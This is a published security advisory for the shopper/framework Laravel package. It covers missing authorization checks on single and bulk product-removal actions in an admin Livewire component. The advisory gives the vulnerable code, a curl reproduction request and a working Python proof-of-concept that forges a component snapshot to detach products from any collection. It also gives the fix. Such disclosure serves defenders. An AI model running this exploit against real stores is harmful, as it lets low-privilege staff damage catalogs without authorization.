GHSA-2CG9-97GQ-9MQP
Vulnerability from github – Published: 2026-09-11 21:31 – Updated: 2026-09-11 21:31Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
Action::make('delete')
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->iconButton()
->color('danger')
->requiresConfirmation()
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
}),
])
// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
DeleteBulkAction::make()
->label(__('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->requiresConfirmation()
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
$this->dispatch('collection.add.product');
Notification::make()
->title(__('shopper::pages/collections.remove_product'))
->success()
->send();
})
->deselectRecordsAfterCompletion(),
])
Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).
SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
# substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
"updates": {},
"calls": [{
"path": "",
"method": "callBulkAction",
"params": ["delete", [1, 2, 3, 4, 5]]
}]
}]
}'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
# regardless of the caller having only browse_collections.
Proof of concept
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE value of the laravel_session cookie
XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT_ID Livewire component snapshot ID (from page source)
COLLECTION_ID integer ID of the target collection
PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3")
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
component_id = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component_id,
'data': {'collection': collection_id},
'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callBulkAction',
'params': ['delete', product_ids],
}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])
Impact
A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution
public Collection $collection;
// Per-record action:
Action::make('delete')
->authorize('edit_collections') // add this
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
// ...
}),
// Bulk action:
DeleteBulkAction::make()
->authorize('edit_collections') // add this
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
// ...
})
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopper/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56825"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T21:31:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make(\u0027delete\u0027)` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n Action::make(\u0027delete\u0027)\n -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n -\u003eicon(Untitledui::Trash03)\n -\u003eiconButton()\n -\u003ecolor(\u0027danger\u0027)\n -\u003erequiresConfirmation()\n -\u003eaction(function (Product $record): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n $this-\u003edispatch(\u0027collection.add.product\u0027);\n Notification::make()\n -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n -\u003esuccess()\n -\u003esend();\n }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n DeleteBulkAction::make()\n -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n -\u003eicon(Untitledui::Trash03)\n -\u003erequiresConfirmation()\n -\u003eaction(function (EloquentCollection $records): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n $this-\u003edispatch(\u0027collection.add.product\u0027);\n Notification::make()\n -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n -\u003esuccess()\n -\u003esend();\n })\n -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n# substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n -H \"Content-Type: application/json\" \\\n -H \"X-XSRF-TOKEN: $XSRF\" \\\n -H \"Cookie: $SESSION\" \\\n -H \"X-Livewire: 1\" \\\n -d \u0027{\n \"components\": [{\n \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n \"updates\": {},\n \"calls\": [{\n \"path\": \"\",\n \"method\": \"callBulkAction\",\n \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n }]\n }]\n }\u0027\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n# regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n BASE_URL e.g. http://localhost\n SESSION_COOKIE value of the laravel_session cookie\n XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie\n COMPONENT_ID Livewire component snapshot ID (from page source)\n COLLECTION_ID integer ID of the target collection\n PRODUCT_IDS comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ[\u0027BASE_URL\u0027]\nsession = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id = os.environ[\u0027COMPONENT_ID\u0027]\ncollection_id = int(os.environ[\u0027COLLECTION_ID\u0027])\nproduct_ids = [int(x) for x in os.environ[\u0027PRODUCT_IDS\u0027].split(\u0027,\u0027)]\n\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n \u0027X-XSRF-TOKEN\u0027: xsrf,\n \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n \u0027id\u0027: component_id,\n \u0027data\u0027: {\u0027collection\u0027: collection_id},\n \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n \u0027components\u0027: [{\n \u0027snapshot\u0027: snapshot,\n \u0027updates\u0027: {},\n \u0027calls\u0027: [{\n \u0027path\u0027: \u0027\u0027,\n \u0027method\u0027: \u0027callBulkAction\u0027,\n \u0027params\u0027: [\u0027delete\u0027, product_ids],\n }]\n }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked] // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make(\u0027delete\u0027)\n -\u003eauthorize(\u0027edit_collections\u0027) // add this\n -\u003eaction(function (Product $record): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n // ...\n }),\n\n// Bulk action:\nDeleteBulkAction::make()\n -\u003eauthorize(\u0027edit_collections\u0027) // add this\n -\u003eaction(function (EloquentCollection $records): void {\n $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n // ...\n })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
"id": "GHSA-2cg9-97gq-9mqp",
"modified": "2026-09-11T21:31:26Z",
"published": "2026-09-11T21:31:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopperlabs/shopper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Shopper: Missing authorization on product removal actions in CollectionProducts component"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.